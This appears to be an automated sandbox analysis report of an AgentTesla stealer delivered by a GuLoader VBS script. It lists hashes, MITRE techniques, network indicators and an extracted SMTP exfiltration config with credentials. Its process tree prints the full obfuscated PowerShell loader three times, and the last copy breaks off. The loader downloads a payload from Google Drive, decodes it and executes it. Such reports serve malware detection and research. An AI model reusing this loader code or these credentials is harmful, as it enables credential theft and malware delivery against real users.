agenttesla | 2e89819f3e67aac66d71bc5b11407e3d4dbaa4adab3ac6ca7ff4f4bd69c1abb5

General

Target

2E89819F3E67AAC66D71BC5B11407E3D4DBAA4ADAB3AC6CA7FF4F4BD69C1ABB5.vbs
Size

43KB
MD5

4ae2066ad08f4986be08cc497f6d9ecd
SHA1

063ea24650d1804c8f93dc2373f3b0134d67fe04
SHA256

2e89819f3e67aac66d71bc5b11407e3d4dbaa4adab3ac6ca7ff4f4bd69c1abb5
SHA512

7383416bd386f26a2e72996467ce474f8f56494b972d5bf5b26fca319607ff6f538fbfa25bdfeca64fb43d2c3d304320e156ff25250c61a2251123569d1971c1
SSDEEP

768:B/vfiNH+Cz316uuJRw4YcDeQVF+g0Ego8QnfxARXeqf17DsGzA5:Jvs4ut4yQOJxTcfguSnsGzA5

Score

10^/10

agenttesla guloader credential_access discovery downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.yandex.com
Port:
587
Username:
[email protected]
Password:
marcellinus360
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2196	powershell.exe
7	2196	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.ipify.org
18	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1072	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2712	powershell.exe
1072	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2712 set thread context of 1072	2712	powershell.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2712	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2196	powershell.exe
2712	powershell.exe
2712	powershell.exe
1072	wabmig.exe
1072	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	1072	wabmig.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1072	wabmig.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 2196	2720	WScript.exe	29
PID 2720 wrote to memory of 2196	2720	WScript.exe	29
PID 2720 wrote to memory of 2196	2720	WScript.exe	29
PID 2196 wrote to memory of 2768	2196	powershell.exe	31
PID 2196 wrote to memory of 2768	2196	powershell.exe	31
PID 2196 wrote to memory of 2768	2196	powershell.exe	31
PID 2196 wrote to memory of 2700	2196	powershell.exe	33
PID 2196 wrote to memory of 2700	2196	powershell.exe	33
PID 2196 wrote to memory of 2700	2196	powershell.exe	33
PID 2700 wrote to memory of 2712	2700	cmd.exe	34
PID 2700 wrote to memory of 2712	2700	cmd.exe	34
PID 2700 wrote to memory of 2712	2700	cmd.exe	34
PID 2700 wrote to memory of 2712	2700	cmd.exe	34
PID 2712 wrote to memory of 2292	2712	powershell.exe	35
PID 2712 wrote to memory of 2292	2712	powershell.exe	35
PID 2712 wrote to memory of 2292	2712	powershell.exe	35
PID 2712 wrote to memory of 2292	2712	powershell.exe	35
PID 2712 wrote to memory of 1072	2712	powershell.exe	36
PID 2712 wrote to memory of 1072	2712	powershell.exe	36
PID 2712 wrote to memory of 1072	2712	powershell.exe	36
PID 2712 wrote to memory of 1072	2712	powershell.exe	36
PID 2712 wrote to memory of 1072	2712	powershell.exe	36
PID 2712 wrote to memory of 1072	2712	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2E89819F3E67AAC66D71BC5B11407E3D4DBAA4ADAB3AC6CA7FF4F4BD69C1ABB5.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Untwister farvere Lemmys Boplenes #>;$Multipolarity='Detronisering';<#Kderygers Amphibryous Heptane #>;$tapul=$host.PrivateData;If ($tapul) {$Dowily++;}function psychosocial($Stauraxonial){$Srnummer=$Stauraxonial.Length-$Dowily;for( $Aflbskanalernes243=4;$Aflbskanalernes243 -lt $Srnummer;$Aflbskanalernes243+=5){$Syrefastes+=$Stauraxonial[$Aflbskanalernes243];}$Syrefastes;}function Festskriftet($Aktivt){ & ($Cystoadenoma) ($Aktivt);}$Kreditproblemer=psychosocial 'Pla MFlatoIntezBoliiAdkolResulRu.saSkde/ ffe5 Ove.H.la0Clea rdi( DigWTopoi KlinOverd Afvo Stvw ReksQu,r Fl lNprocTAzob Fors1Disa0Pr f.Solb0Fire;Kval WidtW stli Srgn Re 6Pica4Hitl;Stem Syn xHesi6 Ca 4.ews; Pr ListrForsvChec: or1g na2Ki.i1Indl. nti0 reg)Anko NudGE.ceeIn kcSt ckToosoBumb/mart2 s k0afri1 B s0Mess0Da p1Disr0 For1Haa. GuddFjackiHjlprGylleFahlfDethoPas.xNe.s/All.1Infa2bron1 .om.Plap0Grac ';$Norit=psychosocial ' W dUHodfS Hi.EEq iRSt,l-EnouA CogGTroseafdmnValutEf,e ';$premediaevalism=psychosocial 'DatahReextTh rt Ranp ostsSkin:Telt/Prae/puz dTegnr GlyiFrakvLengeDisk.JunegProgo SkroechogBegyl BaaeMums.Hmmec Reho BrumMe a/Kar uPr gcL.nd?unh e Di xLysspNycto DerrHaugtloka= Remd roco afwVarmn osylEpi oFl vaU obdF ac&Vg.ei U bdQ il=Psyk1Selv_Slume gerSCourIitcheTa.gs OveuD ta2Gor.DUn uuApp F mressvov1spanpV.geNFlydBStji4 R,aT istMvievarodsPr.llx Va IFrugx u,iSDevoFUnsemBerbn ileD AthT Djvj vlgSForh ';$Torporizes=psychosocial 'hjlp>A te ';$Cystoadenoma=psychosocial 'SpriIR emeBrudX ,lo ';$Aquafer='Epikerens';$Trovrdighedsklft = psychosocial 'Acade OpicGam.hMilloBrkk Bag,% sceaLasepUnimpUnded ella oldtNecraAkt %Vanv\TilgFDourmsautcDu,l.azerSTilbp ison For Joc &Worm&Stra comme trcDa,bh ChaoQuil Und t H.r ';Festskriftet (psychosocial ' alg$pulvgTie.lFlueoSko,b Oeja BlilTert:MilrMcollu BogiFairrMillcBulko Tvic ,ulkBall= Co (Acc cSansmDommdFosf Lsev/Voyac Di Ddke$FodgT diarKageoKampvL carUnspdAstriManigUnpahLitteRepadM,olsImmok pr l FrkfAntit Ste) yst ');Festskriftet (psychosocial ' Mal$C,rvgInellSkysoWenzb.eina MinlD.la:ProtRUniteUfrdlDaziaAfl,t KaliGeo oOxamn pensSi udsoveaA ictmoidaAperb Lnra Spas Quee Pe r IonsTel.6S gn7Tor,=.syc$ labpDdsarStn eS jfmBarreMaasd,xtri Lyda O eeIde v PalaVelalGen iMed sGigamKomm.RestsKa hpUnprlCrediC fftUnam(Adel$P isTc,emoUnstr O hpGiftoleonr.undiKaa zSycoeSle sHo.e)Isog ');Festskriftet (psychosocial 'Sale[TurnN rmie AnptHalv.SamvSA alePla rTudev SpriDksmcSamme AnaP heroIntei bilnCamptSpecMLitha,iplnNonsaNonagJap e ImprEnta]bleg:Offi:SphaSBoateTe ecOff u StorGorriOps tAttryIsanPReifrPrepoSolbtS luoArbecDespoWatel Oc Nib,=Phal Kv.d[Re oNPyreeUdstt Not.LiteS H.teGa ecLuftuKaprrbldeiUnl,tForsyBiblP SknrAutooBrintLnnio Opscnanio kkelErotTPo iy My p,elgeTyp ] Hy :For :L ceT FlllWhissMet.1 La 2S or ');$premediaevalism=$Relationsdatabasers67[0];$Confidency= (psychosocial 'P,zz$ConaGAvisLSpe.OPrakb ostA ,kylRui :Indiv NazI Ud.B,besrUnsaiBeneo Poss MisIBe rsRe.i=Persn Gule .enw it-AkryOHea B assjRat EA exc LitTelok Sa.SEnseySukkSGl atF reeLnnim Reg. OmbN roEGiftTBode. yrw Udle,jenB De,C OveLOidwi HopESpisnBuchT');$Confidency+=$Muircock[1];Festskriftet ($Confidency);Festskriftet (psychosocial 'P.lt$ LanVTvaniSknsb ForrLapiistyro,olksReifiGransTund.NoruHopkleFor aoverdRatie Lrer ertsFras[Dena$T,leNErugo Besr BttiVam,t Alg] Eth= Tri$Kal.K nder noresjl.dSkoviLavet.itap tar TaioSultbTo,al .ree enom OveeHvirrfort ');$Alfaquins=psychosocial 'unpr$ FinVencri bubTenerF neiPr counevs Phai.ntasAlal.OvenDN,tao Tilw,olln kkelGiggoDuasa PyodForkF.etti.vell TrieSamm(Vanh$DivipCoitrSub eDamnmD.bbeQ,ecdL ngiBlyracompeTranv Ra aReprlSpeciSelvsObsemAffo,Ret,$ UdfP poeBrn rJgeruChrynSte,)o.tc ';$Perun=$Muircock[0];Festskriftet (psychosocial 'Sugh$Fieng no L PalOUn ubOverAArctLUnco: UltkEndoAL sct ve.hA cha Et =Coel( TaqT D.feGeocSPnhetolis-I.dhPInteADraftD kkh O d Vand$ NitP S.ieFaglr CluuRisuNUan )Inte ');while (!$Katha) {Festskriftet (psychosocial 'V.lg$Woo gMidelHaymoOtilbAr ya Endl Met:elekU.orrnKnikd UnieRetarMikrbvaskiOrgad attd RkkeHalet igtsO.er=Comm$Antit CylrMa luBelieSo s ') ;Festskriftet $Alfaquins;Festskriftet (psychosocial 'RabbS irktfuehaSa gr MartSkif-BrizS KonlMashestaneNarkpAfri Car4Sal ');Festskriftet (psychosocial 'Reko$KompgGlamlTa.lo U gbPa.laKylol Es :Tal.KIndlaJordt Dynh ndaunai= P,o(EfteTUnpre llsQua.tArts-U,gaPa,laa nidtSwaghbull Tel$R,ghP SwaeDr,frPrisuStegnTyng)Cons ') ;Festskriftet (psychosocial 'Fast$S,ragTromlUnowoUdlabRab a anlDiva:IndkK FaliRecurGsteaVand=Demi$Sp,rgFarel.unaoT chbLag a SkulRobb:Varms Chia P sm a rmJomfeHoronNabosKuldvBestrpr.cgAde,eAf,blNectsTaabemandnHagg+Urme+Sprn%Fnge$Raf,RLeioeForllSimuaStart pufiBlu oYdernTh,msTurrdNewsa rgntShaiaVo ibRevia PolsUndeeKultrE,rosOv r6Vice7Bank.UndecMartoko cu.nmon ToptNonf ') ;$premediaevalism=$Relationsdatabasers67[$Kira];}$Outcatches=288483;$Anoplotheriidae=28137;Festskriftet (psychosocial 'Par.$ Oveg ,iblDie,oLavrbInteaStrml Ma,:rtefSParttApp u.uzzdBliniFor eKnsfkSub.aH,rdmThaim CeseAdulrGenaaja btfjedeNonmn BlisAns Brnd=Stue TabuGConseWimbtDete-UnadCTilgo entn Kast,uffePanen MartHelm miss$EmbrPMarae nterSlutuE chncen ');Festskriftet (psychosocial 'Bffe$ .adgSkrulUn ioLo sb abua ,iblTade:VandHAdmij agaaMashe arl blapSomneStrufAkseuStorndbefkPi utTe rihe aoTramnRidd2Uanm4Foot Ter=Coha Huc.[PainSo egyspiosUdh t VaremetrmNon..Lre CBricoMinynPulvv.ande De r Kl tApos] Lev:Brne:aut FUnspr ProoRaglmCha,BUnriaEm esharleVil,6Jose4 yggSForst MetrHazaiorkanFinkgKarr(Arch$rrgjS FortNettu ridAngeiTol,eLyntkSk ia D cmPokemR.tteF brrTig,a imotFly ePushnFormsUniv)Pris ');Festskriftet (psychosocial 'Ba,l$ arhgDi alUnproResebFr,daAlthl eva: IndCAbschFlleaB.anrTvinsAppeiovern eprg elvhPj na Com Huje= pr Honn[CharSJag yobj sDeiftproge S,gmb,st.S rbTInsieAstrxOve t,ubl.ChasEWe.lnFiskc Sc,oMayfdCresiFysin GtegNont] ya:Pa e: My.AS peSLaveC ManITyveI Af .UameGKulteSyn,tBue S riet St.rNucli EkvnDampg.awn(Skru$TakiHLockjLyr.aVerneSamllGe.npDisseBrazfhes ucolan.ondk AlttstoriP.sto Ko.nSvar2devi4 K,k)Bnkb ');Festskriftet (psychosocial 'Soue$ SpigBlowl Niso DygbUdkiaTissl.olk: KorPsodaa ReciRigtdOrgaeRefuuStadtStatiSladc FeasMidr=Spri$Was C I lhBehaaGunlrLokas K niFilen,besgSkrmhEkstaschi. Reks renuGeofbAnomsLacotTag.rMisbiafl n ChegSild(Indb$JollOTranuDetrtNo scS saaSmert NoncblothNonfeHoves Bre,Arti$forbAF rsn IngoIn.opRolllSystoReget arthBitueShifrNy.pi.oyciCowld SemaBr ceAl m)Vejr ');Festskriftet $Paideutics;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fmc.Spn && echo t"
    3⤵
    PID:2768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Untwister farvere Lemmys Boplenes #>;$Multipolarity='Detronisering';<#Kderygers Amphibryous Heptane #>;$tapul=$host.PrivateData;If ($tapul) {$Dowily++;}function psychosocial($Stauraxonial){$Srnummer=$Stauraxonial.Length-$Dowily;for( $Aflbskanalernes243=4;$Aflbskanalernes243 -lt $Srnummer;$Aflbskanalernes243+=5){$Syrefastes+=$Stauraxonial[$Aflbskanalernes243];}$Syrefastes;}function Festskriftet($Aktivt){ & ($Cystoadenoma) ($Aktivt);}$Kreditproblemer=psychosocial 'Pla MFlatoIntezBoliiAdkolResulRu.saSkde/ ffe5 Ove.H.la0Clea rdi( DigWTopoi KlinOverd Afvo Stvw ReksQu,r Fl lNprocTAzob Fors1Disa0Pr f.Solb0Fire;Kval WidtW stli Srgn Re 6Pica4Hitl;Stem Syn xHesi6 Ca 4.ews; Pr ListrForsvChec: or1g na2Ki.i1Indl. nti0 reg)Anko NudGE.ceeIn kcSt ckToosoBumb/mart2 s k0afri1 B s0Mess0Da p1Disr0 For1Haa. GuddFjackiHjlprGylleFahlfDethoPas.xNe.s/All.1Infa2bron1 .om.Plap0Grac ';$Norit=psychosocial ' W dUHodfS Hi.EEq iRSt,l-EnouA CogGTroseafdmnValutEf,e ';$premediaevalism=psychosocial 'DatahReextTh rt Ranp ostsSkin:Telt/Prae/puz dTegnr GlyiFrakvLengeDisk.JunegProgo SkroechogBegyl BaaeMums.Hmmec Reho BrumMe a/Kar uPr gcL.nd?unh e Di xLysspNycto DerrHaugtloka= Remd roco afwVarmn osylEpi oFl vaU obdF ac&Vg.ei U bdQ il=Psyk1Selv_Slume gerSCourIitcheTa.gs OveuD ta2Gor.DUn uuApp F mressvov1spanpV.geNFlydBStji4 R,aT istMvievarodsPr.llx Va IFrugx u,iSDevoFUnsemBerbn ileD AthT Djvj vlgSForh ';$Torporizes=psychosocial 'hjlp>A te ';$Cystoadenoma=psychosocial 'SpriIR emeBrudX ,lo ';$Aquafer='Epikerens';$Trovrdighedsklft = psychosocial 'Acade OpicGam.hMilloBrkk Bag,% sceaLasepUnimpUnded ella oldtNecraAkt %Vanv\TilgFDourmsautcDu,l.azerSTilbp ison For Joc &Worm&Stra comme trcDa,bh ChaoQuil Und t H.r ';Festskriftet (psychosocial ' alg$pulvgTie.lFlueoSko,b Oeja BlilTert:MilrMcollu BogiFairrMillcBulko Tvic ,ulkBall= Co (Acc cSansmDommdFosf Lsev/Voyac Di Ddke$FodgT diarKageoKampvL carUnspdAstriManigUnpahLitteRepadM,olsImmok pr l FrkfAntit Ste) yst ');Festskriftet (psychosocial ' Mal$C,rvgInellSkysoWenzb.eina MinlD.la:ProtRUniteUfrdlDaziaAfl,t KaliGeo oOxamn pensSi udsoveaA ictmoidaAperb Lnra Spas Quee Pe r IonsTel.6S gn7Tor,=.syc$ labpDdsarStn eS jfmBarreMaasd,xtri Lyda O eeIde v PalaVelalGen iMed sGigamKomm.RestsKa hpUnprlCrediC fftUnam(Adel$P isTc,emoUnstr O hpGiftoleonr.undiKaa zSycoeSle sHo.e)Isog ');Festskriftet (psychosocial 'Sale[TurnN rmie AnptHalv.SamvSA alePla rTudev SpriDksmcSamme AnaP heroIntei bilnCamptSpecMLitha,iplnNonsaNonagJap e ImprEnta]bleg:Offi:SphaSBoateTe ecOff u StorGorriOps tAttryIsanPReifrPrepoSolbtS luoArbecDespoWatel Oc Nib,=Phal Kv.d[Re oNPyreeUdstt Not.LiteS H.teGa ecLuftuKaprrbldeiUnl,tForsyBiblP SknrAutooBrintLnnio Opscnanio kkelErotTPo iy My p,elgeTyp ] Hy :For :L ceT FlllWhissMet.1 La 2S or ');$premediaevalism=$Relationsdatabasers67[0];$Confidency= (psychosocial 'P,zz$ConaGAvisLSpe.OPrakb ostA ,kylRui :Indiv NazI Ud.B,besrUnsaiBeneo Poss MisIBe rsRe.i=Persn Gule .enw it-AkryOHea B assjRat EA exc LitTelok Sa.SEnseySukkSGl atF reeLnnim Reg. OmbN roEGiftTBode. yrw Udle,jenB De,C OveLOidwi HopESpisnBuchT');$Confidency+=$Muircock[1];Festskriftet ($Confidency);Festskriftet (psychosocial 'P.lt$ LanVTvaniSknsb ForrLapiistyro,olksReifiGransTund.NoruHopkleFor aoverdRatie Lrer ertsFras[Dena$T,leNErugo Besr BttiVam,t Alg] Eth= Tri$Kal.K nder noresjl.dSkoviLavet.itap tar TaioSultbTo,al .ree enom OveeHvirrfort ');$Alfaquins=psychosocial 'unpr$ FinVencri bubTenerF neiPr counevs Phai.ntasAlal.OvenDN,tao Tilw,olln kkelGiggoDuasa PyodForkF.etti.vell TrieSamm(Vanh$DivipCoitrSub eDamnmD.bbeQ,ecdL ngiBlyracompeTranv Ra aReprlSpeciSelvsObsemAffo,Ret,$ UdfP poeBrn rJgeruChrynSte,)o.tc ';$Perun=$Muircock[0];Festskriftet (psychosocial 'Sugh$Fieng no L PalOUn ubOverAArctLUnco: UltkEndoAL sct ve.hA cha Et =Coel( TaqT D.feGeocSPnhetolis-I.dhPInteADraftD kkh O d Vand$ NitP S.ieFaglr CluuRisuNUan )Inte ');while (!$Katha) {Festskriftet (psychosocial 'V.lg$Woo gMidelHaymoOtilbAr ya Endl Met:elekU.orrnKnikd UnieRetarMikrbvaskiOrgad attd RkkeHalet igtsO.er=Comm$Antit CylrMa luBelieSo s ') ;Festskriftet $Alfaquins;Festskriftet (psychosocial 'RabbS irktfuehaSa gr MartSkif-BrizS KonlMashestaneNarkpAfri Car4Sal ');Festskriftet (psychosocial 'Reko$KompgGlamlTa.lo U gbPa.laKylol Es :Tal.KIndlaJordt Dynh ndaunai= P,o(EfteTUnpre llsQua.tArts-U,gaPa,laa nidtSwaghbull Tel$R,ghP SwaeDr,frPrisuStegnTyng)Cons ') ;Festskriftet (psychosocial 'Fast$S,ragTromlUnowoUdlabRab a anlDiva:IndkK FaliRecurGsteaVand=Demi$Sp,rgFarel.unaoT chbLag a SkulRobb:Varms Chia P sm a rmJomfeHoronNabosKuldvBestrpr.cgAde,eAf,blNectsTaabemandnHagg+Urme+Sprn%Fnge$Raf,RLeioeForllSimuaStart pufiBlu oYdernTh,msTurrdNewsa rgntShaiaVo ibRevia PolsUndeeKultrE,rosOv r6Vice7Bank.UndecMartoko cu.nmon ToptNonf ') ;$premediaevalism=$Relationsdatabasers67[$Kira];}$Outcatches=288483;$Anoplotheriidae=28137;Festskriftet (psychosocial 'Par.$ Oveg ,iblDie,oLavrbInteaStrml Ma,:rtefSParttApp u.uzzdBliniFor eKnsfkSub.aH,rdmThaim CeseAdulrGenaaja btfjedeNonmn BlisAns Brnd=Stue TabuGConseWimbtDete-UnadCTilgo entn Kast,uffePanen MartHelm miss$EmbrPMarae nterSlutuE chncen ');Festskriftet (psychosocial 'Bffe$ .adgSkrulUn ioLo sb abua ,iblTade:VandHAdmij agaaMashe arl blapSomneStrufAkseuStorndbefkPi utTe rihe aoTramnRidd2Uanm4Foot Ter=Coha Huc.[PainSo egyspiosUdh t VaremetrmNon..Lre CBricoMinynPulvv.ande De r Kl tApos] Lev:Brne:aut FUnspr ProoRaglmCha,BUnriaEm esharleVil,6Jose4 yggSForst MetrHazaiorkanFinkgKarr(Arch$rrgjS FortNettu ridAngeiTol,eLyntkSk ia D cmPokemR.tteF brrTig,a imotFly ePushnFormsUniv)Pris ');Festskriftet (psychosocial 'Ba,l$ arhgDi alUnproResebFr,daAlthl eva: IndCAbschFlleaB.anrTvinsAppeiovern eprg elvhPj na Com Huje= pr Honn[CharSJag yobj sDeiftproge S,gmb,st.S rbTInsieAstrxOve t,ubl.ChasEWe.lnFiskc Sc,oMayfdCresiFysin GtegNont] ya:Pa e: My.AS peSLaveC ManITyveI Af .UameGKulteSyn,tBue S riet St.rNucli EkvnDampg.awn(Skru$TakiHLockjLyr.aVerneSamllGe.npDisseBrazfhes ucolan.ondk AlttstoriP.sto Ko.nSvar2devi4 K,k)Bnkb ');Festskriftet (psychosocial 'Soue$ SpigBlowl Niso DygbUdkiaTissl.olk: KorPsodaa ReciRigtdOrgaeRefuuStadtStatiSladc FeasMidr=Spri$Was C I lhBehaaGunlrLokas K niFilen,besgSkrmhEkstaschi. Reks renuGeofbAnomsLacotTag.rMisbiafl n ChegSild(Indb$JollOTranuDetrtNo scS saaSmert NoncblothNonfeHoves Bre,Arti$forbAF rsn IngoIn.opRolllSystoReget arthBitueShifrNy.pi.oyciCowld SemaBr ceAl m)Vejr ');Festskriftet $Paideutics;"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Untwister farvere Lemmys Boplenes #>;$Multipolarity='Detronisering';<#Kderygers Amphibryous Heptane #>;$tapul=$host.PrivateData;If ($tapul) {$Dowily++;}function psychosocial($Stauraxonial){$Srnummer=$Stauraxonial.Length-$Dowily;for( $Aflbskanalernes243=4;$Aflbskanalernes243 -lt $Srnummer;$Aflbskanalernes243+=5){$Syrefastes+=$Stauraxonial[$Aflbskanalernes243];}$Syrefastes;}function Festskriftet($Aktivt){ & ($Cystoadenoma) ($Aktivt);}$Kreditproblemer=psychosocial 'Pla MFlatoIntezBoliiAdkolResulRu.saSkde/ ffe5 Ove.H.la0Clea rdi( DigWTopoi KlinOverd Afvo Stvw ReksQu,r Fl lNprocTAzob Fors1Disa0Pr f.Solb0Fire;Kval WidtW stli Srgn Re 6Pica4Hitl;Stem Syn xHesi6 Ca 4.ews; Pr ListrForsvChec: or1g na2Ki.i1Indl. nti0 reg)Anko NudGE.ceeIn kcSt ckToosoBumb/mart2 s k0afri1 B s0Mess0Da p1Disr0 For1Haa. GuddFjackiHjlprGylleFahlfDethoPas.xNe.s/All.1Infa2bron1 .om.Plap0Grac ';$Norit=psychosocial ' W dUHodfS Hi.EEq iRSt,l-EnouA CogGTroseafdmnValutEf,e ';$premediaevalism=psychosocial 'DatahReextTh rt Ranp ostsSkin:Telt/Prae/puz dTegnr GlyiFrakvLengeDisk.JunegProgo SkroechogBegyl BaaeMums.Hmmec Reho BrumMe a/Kar uPr gcL.nd?unh e Di xLysspNycto DerrHaugtloka= Remd roco afwVarmn osylEpi oFl vaU obdF ac&Vg.ei U bdQ il=Psyk1Selv_Slume gerSCourIitcheTa.gs OveuD ta2Gor.DUn uuApp F mressvov1spanpV.geNFlydBStji4 R,aT istMvievarodsPr.llx Va IFrugx u,iSDevoFUnsemBerbn ileD AthT Djvj vlgSForh ';$Torporizes=psychosocial 'hjlp>A te ';$Cystoadenoma=psychosocial 'SpriIR emeBrudX ,lo ';$Aquafer='Epikerens';$Trovrdighedsklft = psychosocial 'Acade OpicGam.hMilloBrkk Bag,% sceaLasepUnimpUnded ella oldtNecraAkt %Vanv\TilgFDourmsautcDu,l.azerSTilbp ison For Joc &Worm&Stra comme trcDa,bh ChaoQuil Und t H.r ';Festskriftet (psychosocial ' alg$pulvgTie.lFlueoSko,b Oeja BlilTert:MilrMcollu BogiFairrMillcBulko Tvic ,ulkBall= Co (Acc cSansmDommdFosf Lsev/Voyac Di Ddke$FodgT diarKageoKampvL carUnspdAstriManigUnpahLitteRepadM,olsImmok pr l FrkfAntit Ste) yst ');Festskriftet (psychosocial ' Mal$C,rvgInellSkysoWenzb.eina MinlD.la:ProtRUniteUfrdlDaziaAfl,t KaliGeo oOxamn pensSi udsoveaA ictmoidaAperb Lnra Spas Quee Pe r IonsTel.6S gn7Tor,=.syc$ labpDdsarStn eS jfmBarreMaasd,xtri Lyda O eeIde v PalaVelalGen iMed sGigamKomm.RestsKa hpUnprlCrediC fftUnam(Adel$P isTc,emoUnstr O hpGiftoleonr.undiKaa zSycoeSle sHo.e)Isog ');Festskriftet (psychosocial 'Sale[TurnN rmie AnptHalv.SamvSA alePla rTudev SpriDksmcSamme AnaP heroIntei bilnCamptSpecMLitha,iplnNonsaNonagJap e ImprEnta]bleg:Offi:SphaSBoateTe ecOff u StorGorriOps tAttryIsanPReifrPrepoSolbtS luoArbecDespoWatel Oc Nib,=Phal Kv.d[Re oNPyreeUdstt Not.LiteS H.teGa ecLuftuKaprrbldeiUnl,tForsyBiblP SknrAutooBrintLnnio Opscnanio kkelErotTPo iy My p,elgeTyp ] Hy :For :L ceT FlllWhissMet.1 La 2S or ');$premediaevalism=$Relationsdatabasers67[0];$Confidency= (psychosocial 'P,zz$ConaGAvisLSpe.OPrakb ostA ,kylRui :Indiv NazI Ud.B,besrUnsaiBeneo Poss MisIBe rsRe.i=Persn Gule .enw it-AkryOHea B assjRat EA exc LitTelok Sa.SEnseySukkSGl atF reeLnnim Reg. OmbN roEGiftTBode. yrw Udle,jenB De,C OveLOidwi HopESpisnBuchT');$Confidency+=$Muircock[1];Festskriftet ($Confidency);Festskriftet (psychosocial 'P.lt$ LanVTvaniSknsb ForrLapiistyro,olksReifiGransTund.NoruHopkleFor aoverdRatie Lrer ertsFras[Dena$T,leNErugo Besr BttiVam,t Alg] Eth= Tri$Kal.K nder noresjl.dSkoviLavet.itap tar TaioSultbTo,al .ree enom OveeHvirrfort ');$Alfaquins=psychosocial 'unpr$ FinVencri bubTenerF neiPr counevs Phai.ntasAlal.OvenDN,tao Tilw,olln kkelGiggoDuasa PyodForkF.etti.vell TrieSamm(Vanh$DivipCoitrSub eDamnmD.bbeQ,ecdL ngiBlyracompeTranv Ra aReprlSpeciSelvsObsemAffo,Ret,$ UdfP poeBrn rJgeruChrynSte,)o.tc ';$Perun=$Muircock[0];Festskriftet (psychosocial 'Sugh$Fieng no L PalOUn ubOverAArctLUnco: UltkEndoAL sct ve.hA cha Et =Coel( TaqT D.feGeocSPnhetolis-I.dhPInteADraftD kkh O d Vand$ NitP S.ieFaglr CluuRisuNUan )Inte ');while (!$Katha) {Festskriftet (psychosocial 'V.lg$Woo gMidelHaymoOtilbAr ya Endl Met:elekU.orrnKnikd UnieRetarMikrbvaskiOrgad attd RkkeHalet igtsO.er=Comm$Antit CylrMa luBelieSo s ') ;Festskriftet $Alfaquins;Festskriftet (psychosocial 'RabbS irktfuehaSa gr MartSkif-BrizS KonlMashestaneNarkpAfri Car4Sal ');Festskriftet (psychosocial 'Reko$KompgGlamlTa.lo U gbPa.laKylol Es :Tal.KIndlaJordt Dynh ndaunai= P,o(EfteTUnpre llsQua.tArts-U,gaPa,laa nidtSwaghbull Tel$R,ghP SwaeDr,frPrisuStegnTyng)Cons ') ;Festskriftet (psychosocial 'Fast$S,ragTromlUnowoUdlabRab a anlDiva:IndkK FaliRecurGsteaVand=Demi$Sp,rgFarel.unaoT chbLag a SkulRobb:Varms Chia P sm a rmJomfeHoronNabosKuldvBestrpr.cgAde,eAf,blNectsTaabemandnHagg+Urme+Sprn%Fnge$Raf,RLeioeForllSimuaStart pufiBlu oYdernTh,msTurrdNewsa rgntShaiaVo ibRevia PolsUndeeKultrE,rosOv r6Vice7Bank.UndecMartoko cu.nmon ToptNonf ') ;$premediaevalism=$Relationsdatabasers67[$Kira];}$Outcatches=288483;$Anoplotheriidae=28137;Festskriftet (psychosocial 'Par.$ Oveg ,iblDie,oLavrbInteaStrml Ma,:rtefSParttApp u.uzzdBliniFor eKnsfkSub.aH,rdmThaim CeseAdulrGenaaja btfjedeNonmn BlisAns Brnd=Stue TabuGConseWimbtDete-UnadCTilgo entn Kast,uffePanen MartHelm miss$EmbrPMarae nterSlutuE chncen ');Festskriftet (psychosocial 'Bffe$ .adgSkrulUn ioLo sb abua ,iblTade:VandHAdmij agaaMashe arl blapSomneStrufAkseuStorndbefkPi utTe rihe aoTramnRidd2Uanm4Foot 